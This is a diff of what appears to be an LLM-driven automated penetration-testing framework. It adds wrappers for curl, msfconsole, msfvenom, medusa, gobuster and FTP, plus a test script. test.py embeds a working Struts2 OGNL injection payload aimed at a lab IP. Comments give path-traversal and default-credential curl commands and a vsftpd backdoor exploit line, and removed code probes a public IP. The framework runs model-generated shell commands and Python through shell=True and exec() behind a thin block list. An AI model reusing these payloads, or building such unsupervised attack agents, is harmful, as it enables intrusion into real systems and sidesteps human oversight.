fc-match Arial #验证安装 fc-match Arial #验证安装
----python2------

27
run.py

@ -14,36 +14,11 @@ async def run_quart_app():
await serve(app, config) await serve(app, config)
def test(test_type): #-------------------测试相关----------------------
from mycode.LLMManager import LLMManager
from myutils.PickleManager import g_PKM
LLM = LLMManager(1)
current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path)
if test_type == 4:
attact_tree = g_PKM.ReadData("4")
# 创建一个新的节点
from mycode.AttackMap import TreeNode
testnode = TreeNode("test", 0)
LLM.build_initial_prompt(testnode) # 新的Message
systems = testnode.messages[0]["content"]
# print(systems)
# 遍历node,查看有instr的ndoe
nodes = attact_tree.traverse_bfs()
for node in nodes:
node.messages[0]["content"] = systems
g_PKM.WriteData(attact_tree, "4")
print("完成Messgae更新")
else:
pass
# Press the green button in the gutter to run the script. # Press the green button in the gutter to run the script.
if __name__ == '__main__': if __name__ == '__main__':
test_type = 0
if test_type>0:
test(test_type)
else:
print(f"Current working directory (run.py): {os.getcwd()}") print(f"Current working directory (run.py): {os.getcwd()}")
#加载未完成的工作继续执行 #加载未完成的工作继续执行
g_TaskM.load_tasks() g_TaskM.load_tasks()

175
test.py

@ -7,75 +7,134 @@ import struct
import sys import sys
import mysql.connector import mysql.connector
import requests import requests
from mycode.LLMManager import LLMManager
from mycode.TaskObject import TaskObject
from myutils.PickleManager import g_PKM
from mycode.InstructionManager import g_instrM
from mycode.TaskManager import g_TaskM
from mycode.PythonTManager import PythonTManager
from myutils.ConfigManager import myCongif
import textwrap
class Mytest:
def update_node_inter(self,attack_index):
attack_tree = g_PKM.ReadData(attack_index)
nodes = attack_tree.traverse_dfs()
# 06-0=>p
instr = nodes[6].get_instr_user().pop(0)
nodes[6].parent.get_instr_user().append(instr)
# 39-1
instr = nodes[39].get_instr_user().pop(1)
nodes[39].parent.get_instr_user().append(instr)
# 49-0
instr = nodes[49].get_instr_user().pop(0)
nodes[49].parent.get_instr_user().append(instr)
def do_worker(str_instruction): g_PKM.WriteData(attack_tree, attack_index)
try:
# 使用 subprocess 执行 shell 命令
result = subprocess.run(str_instruction, shell=True, text=True,capture_output=True)
return {
"returncode": result.returncode,
"stdout": result.stdout,
"stderr": result.stderr
}
except Exception as e:
return {"error": str(e)}
def do_worker_ftp_pexpect(str_instruction): if __name__ == "__main__":
# 解析指令 # 示例使用
lines = str_instruction.strip().split('\n') mytest = Mytest()
cmd_line = lines[0].split('<<')[0].strip() # 提取 "ftp -n 192.168.204.137" LLM = LLMManager(1)
inputs = [line.strip() for line in lines[1:] if line.strip() != 'EOF'] PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path)
test_type = 1
task_id = 16
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None)
# 使用 pexpect 执行命令 if test_type == 1:
child = pexpect.spawn(cmd_line) # # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
for input_line in inputs: str_instr = '''python-code
child.expect('.*') # 等待任意提示 import requests
child.sendline(input_line) # 发送输入
child.expect(pexpect.EOF) # 等待命令结束
output = child.before.decode() # 获取输出
child.close()
return output
def do_worker_ftp_script(str_instruction): def dynamic_fun():
# 创建临时文件保存输出 # 基于布尔条件的盲注检测
with tempfile.NamedTemporaryFile(delete=False) as tmpfile: true_condition = "'test'=='test'"
output_file = tmpfile.name false_condition = "'test'=='wrong'"
# 构建并执行 script 命令 payload_template = (
script_cmd = f"script -c '{str_instruction}' {output_file}" "%{(#_='multipart/form-data')."
result = subprocess.run(script_cmd, shell=True, text=True) "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])"
".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))"
".(#ognlUtil.getExcludedPackageNames().clear())"
".(#ognlUtil.getExcludedClasses().clear())"
".(#context.setMemberAccess(#dm))))."
f"(#result=@java.lang.Boolean@parseBoolean({{}}))}}"
)
# 读取输出文件内容 try:
with open(output_file, 'r') as f: # 发送真条件请求
output = f.read() true_payload = payload_template.format(true_condition)
r_true = requests.get(
'http://192.168.204.137',
headers={'Content-Type': true_payload},
timeout=10
)
# 删除临时文件 # 发送假条件请求
os.remove(output_file) false_payload = payload_template.format(false_condition)
return output r_false = requests.get(
'http://192.168.204.137',
headers={'Content-Type': false_payload},
timeout=10
)
# 对比响应差异
if r_true.status_code != r_false.status_code:
return (True, f'Different status codes detected (True: {r_true.status_code} vs False: {r_false.status_code})')
import socket if len(r_true.content) != len(r_false.content):
import ssl return (True, f'Content length difference detected (True: {len(r_true.content)} vs False: {len(r_false.content)})')
return (False, 'No observable differences between true/false conditions')
def dynamic_fun():
try:
host = "58.216.217.70"
port = 992
# Create a socket and wrap it with SSL context since service is SSL/Telnet
context = ssl.create_default_context()
sock = socket.create_connection((host, port), timeout=5)
ssl_sock = context.wrap_socket(sock, server_hostname=host)
# Attempt to receive banner
banner = ssl_sock.recv(1024)
ssl_sock.close()
return (True, banner.decode("utf-8", errors="ignore"))
except Exception as e: except Exception as e:
return (False, str(e)) return (False, f'Request failed: {str(e)}')
'''
#str_instr = str_instr.strip() + " --max-time 10"
dedented_code = textwrap.dedent(str_instr.strip())
#对多shell指令的情况进行处理--也有风险
if "python-code" not in dedented_code:
if "&&" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&")
elif "||" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||")
instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code)
else:
instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code)
print("----执行结果----")
print(reslut)
elif test_type == 2: #给节点添加指令
g_TaskM.load_tasks()
task = g_TaskM.tasks[task_id]
nodes = task.attack_tree.traverse_dfs()
cur_node = nodes[78]
commands = [
]
for cmd in commands:
cur_node.add_instr(cmd)
cur_node.update_work_status(1)
#保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id))
elif test_type ==3: #按格式读取指令
pass
elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("6")
# 创建一个新的节点
from mycode.AttackMap import TreeNode
if __name__ == "__main__": testnode = TreeNode("test", 0)
# 示例使用 LLM.build_initial_prompt(testnode) # 新的Message
bok,res = dynamic_fun() systems = testnode.messages[0]["content"]
print(bok,res) # print(systems)
# 遍历node,查看有instr的ndoe
nodes = attact_tree.traverse_bfs()
for node in nodes:
node.messages[0]["content"] = systems
g_PKM.WriteData(attact_tree, "6")
print("完成Messgae更新")
else:
pass

11
tools/ArpingTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class ArpingTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

86
tools/CurlTool.py

@ -12,60 +12,43 @@ class CurlTool(ToolBase):
# self.url = None # self.url = None
# self.verify_ssl = True # self.verify_ssl = True
#解析指令到requests def get_time_out(self):
def parse_curl_to_requests(self,curl_command): return 60*5
# Split command preserving quoted strings
parts = shlex.split(curl_command)
if parts[0] != 'curl':
raise ValueError("Command must start with 'curl'")
# Parse curl flags and arguments
i = 1
while i < len(parts):
arg = parts[i]
if arg == '-k' or arg == '--insecure':
self.verify_ssl = False
i += 1
elif arg == '-s' or arg == '--silent':
# Silencing isn't needed for requests, just skip
i += 1
elif arg == '-H' or arg == '--header':
if i + 1 >= len(parts):
raise ValueError("Missing header value after -H")
header_str = parts[i + 1]
header_name, header_value = header_str.split(':', 1)
self.headers[header_name.strip()] = header_value.strip()
i += 2
elif not arg.startswith('-'):
if self.url is None:
self.url = arg
i += 1
else:
i += 1
if self.url is None:
raise ValueError("No URL found in curl command")
#return url, headers, verify_ssl
def validate_instruction(self, instruction_old): def validate_instruction(self, instruction_old):
#instruction = instruction_old #instruction = instruction_old
#指令过滤 #指令过滤
timeout = 0 timeout = 0 #curl指令遇到不返回的情况 curl --path-as-is -i http://192.168.204.137:8180/webapps/../conf/tomcat-users.xml
#添加-i 返回信息头 #添加-i 返回信息头
parts = instruction_old.split()
if 'base64 -d' in instruction_old: if 'base64 -d' in instruction_old:
return instruction_old return instruction_old
if "-I" not in parts:#-I 仅输出响应头信息
if '-i' not in parts and '--include' not in parts: # 如果指令中含有管道,将第一部分(即 curl 命令)单独处理,再拼接回去
url_index = next((i for i, p in enumerate(parts) if p.startswith(('http://', 'https://'))), None) parts = instruction_old.split('|') #grep情况处理
first_cmd = parts[0].strip() # 第一条命令
# 分割成单词列表便于处理参数
curl_parts = first_cmd.split()
# 如果第一条命令是 curl,则进行处理
if curl_parts and curl_parts[0] == "curl": #只是处理了第一个curl
# 判断是否需要添加包含响应头的选项:若没有 -I、-i 或 --include,则在 URL前插入 -i
if "-I" not in curl_parts and '-i' not in curl_parts and '--include' not in curl_parts:
# 查找以 http:// 或 https:// 开头的 URL 参数所在位置
url_index = next((i for i, p in enumerate(curl_parts)
if p.startswith('http://') or p.startswith('https://')), None)
if url_index is not None: if url_index is not None:
# 在URL前插入 -i 参数‌:ml-citation{ref="1" data="citationList"} curl_parts.insert(url_index, '-i')
parts.insert(url_index, '-i')
else: else:
# 无URL时直接在末尾添加 curl_parts.append('-i')
parts.append('-i')
return ' '.join(parts),timeout # 判断是否已经有 --max-time 参数
if not any(p.startswith("--max-time") for p in curl_parts):
curl_parts.append("--max-time")
curl_parts.append(str(self.get_time_out())) #添加超时时间
# 将第一部分命令重组
parts[0] = ' '.join(curl_parts)
# 将所有部分重新用 | 拼接起来(保留管道符号两边的空格)
final_instruction = ' | '.join(part.strip() for part in parts)
return final_instruction, timeout
def get_ssl_info(self,stderr,stdout): def get_ssl_info(self,stderr,stdout):
# -------------------------- # --------------------------
@ -244,6 +227,7 @@ class CurlTool(ToolBase):
#转换成字符串 #转换成字符串
result = json.dumps(info,ensure_ascii=False) result = json.dumps(info,ensure_ascii=False)
result = result+"\n结果已经被格式化提取,若需要查看其他内容,可以添加grep参数后返回指令。"
#print(result) #print(result)
return result return result
@ -273,14 +257,14 @@ class CurlTool(ToolBase):
elif("resource=config.php" in instruction): elif("resource=config.php" in instruction):
if "base64: 无效的输入" in result: if "base64: 无效的输入" in result:
result="该漏洞无法利用" result="该漏洞无法利用"
elif("Date:" in instruction): #保留原结果
print("")
elif("-kv https://" in instruction or "-vk https://" in instruction): elif("-kv https://" in instruction or "-vk https://" in instruction):
result = self.get_ssl_info(stderr,stdout) result = self.get_ssl_info(stderr,stdout)
elif("-X POST " in instruction): elif("grep " in instruction or " -T " in instruction or "Date:" in instruction):
result = self.get_info_curl(instruction,stdout,stderr) return result
elif("-v " in instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容 # elif("-X POST " in instruction):
result = self.get_info_curl(instruction,stdout,stderr) # result = self.get_info_curl(instruction,stdout,stderr)
# elif("-v " in instruction): #curl -v http://192.168.204.137:8180/manager/html --user admin:admin 常规解析curl返回内容
# result = self.get_info_curl(instruction,stdout,stderr)
else: else:
result = self.get_info_curl(instruction,stdout,stderr) result = self.get_info_curl(instruction,stdout,stderr)
return result return result

13
tools/DirSearchTool.py

@ -0,0 +1,13 @@
from tools.ToolBase import ToolBase
class DirSearchTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
if "-o " not in instruction or "--output=" not in instruction:
instruction += " -o ds_result.txt"
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

4
tools/EchoTool.py

@ -4,6 +4,8 @@ class EchoTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 0
if " nc " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -15,7 +17,7 @@ class EchoTool(ToolBase):
pass pass
else: else:
result ="不存在安全问题" result ="不存在安全问题"
else:#未预处理的情况,暂时不返回LLM else:
pass pass
return result return result

39
tools/FtpTool.py

@ -49,6 +49,11 @@ class FtpTool(ToolBase):
#若有put文件,则替换为payload文件 #若有put文件,则替换为payload文件
new_file = "payload/test.txt" new_file = "payload/test.txt"
new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction) new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction)
# # 指令过滤
# if "<<<" in instruction:
# new_instr = f"bash -c \"{new_instr.strip()}\""
return new_instr,timeout return new_instr,timeout
def do_worker_subprocess(self,str_instruction,timeout,ext_params): def do_worker_subprocess(self,str_instruction,timeout,ext_params):
@ -125,23 +130,23 @@ class FtpTool(ToolBase):
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断 # 第二步:执行指令---需要对ftp指令进行区分判断
pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF') output = self.do_worker_script(instruction, time_out, ext_params)
match = pattern.search(instruction)
if bool(match): #如果是 ftp -n 192.168.204.137 <<EOF 开头 # pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF')
# output = self.do_worker_subprocess(instruction,time_out,ext_params) # match = pattern.search(instruction)
# if not output: # if bool(match): #如果是 ftp -n 192.168.204.137 <<EOF 开头
output = self.do_worker_script(instruction,time_out,ext_params) # # output = self.do_worker_subprocess(instruction,time_out,ext_params)
# # if not output:
else: #最后使用ftp匿名登陆验证代码 # output = self.do_worker_script(instruction,time_out,ext_params)
target = "" # else: #最后使用ftp匿名登陆验证代码
for str in instruction_old.split(): # target = ""
if self.is_ip_domain(str): # for str in instruction_old.split():
target = str # if self.is_ip_domain(str):
# target = str
if target: # if target:
output = self.test_anonymous_ftp_login(target) # output = self.test_anonymous_ftp_login(target)
else: # else:
output = f"本地程序暂不支持该指令内容" # output = f"本地程序暂不支持该指令内容"
# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","") analysis = self.analyze_result(output,instruction,"","")

11
tools/GitdumperTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class GitdumperTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

30
tools/GobusterTool.py

@ -1,4 +1,6 @@
import re import re
import os
from collections import Counter
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class GobusterTool(ToolBase): class GobusterTool(ToolBase):
@ -23,18 +25,40 @@ class GobusterTool(ToolBase):
# if re.search(wordlist_pattern, instruction): # if re.search(wordlist_pattern, instruction):
# instruction = re.sub(wordlist_pattern, lambda m: m.group(0).replace('-medium.txt', '-small.txt'), # instruction = re.sub(wordlist_pattern, lambda m: m.group(0).replace('-medium.txt', '-small.txt'),
# instruction) # instruction)
timeout = 0 timeout = 60*15
if "-q" not in instruction: if "-q" not in instruction:
instruction += ' -q' instruction += ' -q'
return instruction,timeout return instruction,timeout
def is_false_result(self,output,wordlist_path):
#输出结果的行数
discovered = [line for line in output.splitlines() if line]
#字典个数
with open(wordlist_path, "r") as f:
wordlist_count = sum(1 for line in f if line.strip())
if wordlist_count and len(discovered) >= int(0.1 * wordlist_count):
return False, "字典项中绝大部分路径都匹配成功,应该是应用端做了防护处理"
return True, output
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 -q后对结果进行提取 #指令结果分析 -q后对结果进行提取
pattern = re.compile(r'-w\s+(\S+)')
match = pattern.search(instruction)
if match:
wordlist_path = match.group(1) #匹配字典路径
else:
return ("failure", "No wordlist path found in the command string")
#重新生成个结果,400-5个,401-5个,200所有,其他还不知道有什么结果所有 #重新生成个结果,400-5个,401-5个,200所有,其他还不知道有什么结果所有
if stdout:
bok,result = self.is_false_result(stdout,wordlist_path)
if not bok:
return result
#结果基本合规,再做过滤
result = "" result = ""
i_400 = 0 i_400 = 0
i_401 = 0 i_401 = 0
lines = stdout.splitlines() lines = [line for line in stdout.splitlines() if line]
for line in lines: for line in lines:
if line: if line:
badd = False badd = False
@ -53,6 +77,8 @@ class GobusterTool(ToolBase):
if badd: if badd:
result +='\n' result +='\n'
result += line result += line
else:
return ""
return result return result
if __name__ == '__main__': if __name__ == '__main__':

11
tools/MedusaTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class MedusaTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

4
tools/MsfconsoleTool.py

@ -25,10 +25,10 @@ class MsfconsoleTool(ToolBase):
#针对有分号的指令情况,一般是一行 #针对有分号的指令情况,一般是一行
if ";" in instruction: #举例:msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.204.137; exploit" if ";" in instruction: #举例:msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.204.137; exploit"
# 正则表达式匹配双引号内的内容 # 正则表达式匹配双引号内的内容
pattern = r'"([^"]*)"' pattern = r'(["\'])(.*?)\1'
match = re.search(pattern, instruction) match = re.search(pattern, instruction)
if match: if match:
modified_code = match.group(1) modified_code = match.group(2)
#统一把单行,换成多行内容 #统一把单行,换成多行内容
modified_code = modified_code.replace(";", "\n") modified_code = modified_code.replace(";", "\n")
print(modified_code) print(modified_code)

76
tools/MsfvenomTool.py

@ -0,0 +1,76 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class MsfvenomTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
if timeout ==0:
result = subprocess.run(script_cmd, shell=True, text=True)
else:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

2
tools/NmapTool.py

@ -9,6 +9,8 @@ class NmapTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#nmap过滤 #nmap过滤
timeout = 0 timeout = 0
if "&& nc " in instruction or "&& ftp " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]: def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]:

75
tools/OtherTool.py

@ -0,0 +1,75 @@
from tools.ToolBase import ToolBase
import re
import os
import shlex
import subprocess
import tempfile
class OtherTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

11
tools/PingTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class PingTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

66
tools/PsqlTool.py

@ -1,6 +1,5 @@
import subprocess import pexpect
import tempfile import shlex
import os
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class PsqlTool(ToolBase): class PsqlTool(ToolBase):
@ -13,42 +12,32 @@ class PsqlTool(ToolBase):
#指令结果分析 #指令结果分析
return result return result
def do_worker_script(self,str_instruction,timeout,ext_params): def do_worker_pexpect(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 构建并执行 script 命令
script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try: try:
os.remove(output_file) safe_command = shlex.quote(str_instruction)
except FileNotFoundError: cmd = f"bash -c {safe_command}"
pass # 文件可能未创建 exc_do = pexpect.spawn(cmd,timeout=timeout,encoding='utf-8')
return output index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
'Password for user postgres:',
'用户 postgres 的口令:'
])
#strout = exc_do.before.decode('utf-8', errors='replace')
strout = exc_do.before
if index == 0 or index ==1:
return strout
elif index ==2 or index==3:
strout += '用户 postgres 的口令:'
exc_do.sendline('') #输入空密码后不知道会有多少种情况,密码不对,密码对
index = exc_do.expect([pexpect.TIMEOUT,pexpect.EOF])
print(index)
strout += exc_do.before
return strout
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction1(self, instruction_old): def execute_instruction(self, instruction_old):
''' '''
执行指令验证合法性 -> 执行 -> 分析结果 执行指令验证合法性 -> 执行 -> 分析结果
*****如果指令要做验证只做白名单所有逻辑不是全放开就是白名单***** *****如果指令要做验证只做白名单所有逻辑不是全放开就是白名单*****
@ -70,7 +59,8 @@ class PsqlTool(ToolBase):
#过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? #过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令 # 第二步:执行指令
output = self.do_worker_script(instruction,timeout,ext_params) #output = self.do_worker_script(instruction, timeout, ext_params)
output = self.do_worker_pexpect(instruction,timeout,ext_params)
# 第三步:分析执行结果 # 第三步:分析执行结果
if isinstance(output,bytes):#若是bytes则转成str if isinstance(output,bytes):#若是bytes则转成str

153
tools/PythoncodeTool.py

@ -1,153 +0,0 @@
#python代码动态执行
import ast
import subprocess
import json
import builtins
import re
import paramiko
import impacket
import psycopg2
import socket
import struct
import sys
import requests
import ssl
import mysql.connector
from tools.ToolBase import ToolBase
from mycode.Result_merge import my_merge
class PythoncodeTool(ToolBase):
def is_safe_code(self,code):
# List of high-risk functions to block (can be adjusted based on requirements)
HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
"""Check if the code contains high-risk function calls."""
try:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name) and node.func.id in HIGH_RISK_FUNCTIONS:
return False
elif isinstance(node.func, ast.Attribute) and node.func.attr in HIGH_RISK_FUNCTIONS:
return False
return True
except SyntaxError:
return False
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
instr = instruction.replace("python_code ","")
instr = instruction.replace("python-code ", "")
# Safety check
if not self.is_safe_code(instr):
return "", timeout
return instr,timeout
def safe_import(self,name,*args,**kwargs):
ALLOWED_MODULES = ['subprocess', 'json','re']
if name not in ALLOWED_MODULES:
raise ImportError(f"Import of '{name}' is not allowed")
return builtins.__import__(name, *args, **kwargs)
def execute_instruction(self, instruction_old):
'''
执行指令验证合法性 -> 执行 -> 分析结果
:param instruction_old:
:return:
bool:true-正常返回给大模型false-结果不返回给大模型
str:执行的指令
str:执行指令的结果
'''
ext_params = self.create_extparams()
# 定义允许的内置函数集合 --白名单
allowed_builtins = {
'__name__': __name__,
'__import__': builtins.__import__,
"abs": abs,
"all": all,
"any": any,
"bool": bool,
"chr": chr,
"dict": dict,
"float": float,
"int": int,
"len": len,
"list": list,
"max": max,
"min": min,
"print": print,
"range": range,
"set": set,
"str": str,
"sum": sum,
"type": type,
'open':open,
'Exception':Exception,
# 根据需要可以添加其他安全的内置函数
}
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令
output = ""
try:
# 构造安全的全局命名空间,只包含我们允许的 __builtins__
# 虽然动态代码中包含了import subprocess,但是还是需要在全局命名空间中添加subprocess这些库
# 正常情况应该是不需要的,后续再研究
safe_globals = {"__builtins__": allowed_builtins,
'subprocess':subprocess,
'json':json,
're':re,
'paramiko':paramiko,
'impacket':impacket,
'psycopg2':psycopg2,
'socket':socket,
'mysql':mysql,
'mysql.connector':mysql.connector,
'struct':struct,
'sys':sys,
'requests':requests,
'ssl':ssl}
safe_locals = {} #不需要预设局部参数
# 在限制环境中执行代码
exec(instruction, safe_globals,safe_locals)
# Check if check_samba_vuln is defined
if 'dynamic_fun' not in safe_locals:
analysis = "Function dynamic_fun() is not defined"
ext_params['is_use'] = True
return True,instruction,analysis,analysis,ext_params
# Get the function and call it
dynamic_fun = safe_locals['dynamic_fun']
status, tmpout = dynamic_fun() #LLM存在status定义错误的情况(执行成功,却返回的是False) #重点要处理
output = f"status:{status},output:{tmpout}"
except Exception as e:
analysis = f"执行动态代码时出错: {str(e)}"
ext_params['is_use'] = True
return True,instruction,analysis,analysis,ext_params
# 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 --- 要不要限定一个max_len?
if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况
result = my_merge("enum4linux",result)
return result
if __name__ == "__main__":
llm_code = """
def run_test():
return 'Penetration test executed successfully!'
"""

11
tools/RpcclientTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class RpcclientTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

28
tools/SearchsploitTool.py

@ -7,10 +7,33 @@ import shutil
from pathlib import Path from pathlib import Path
class SearchsploitTool(ToolBase): class SearchsploitTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
# 获取当前路径
cur_path = Path(__file__).resolve().parent
payload_dir = cur_path / "../payload"
#指令过滤 #指令过滤
timeout = 0 timeout = 0
parts = instruction.split("&&")
if len(parts) ==2:
searchsploit_cmd = parts[0].strip()
python_cmd = parts[1].strip()
# 提取 -m 后面的文件名
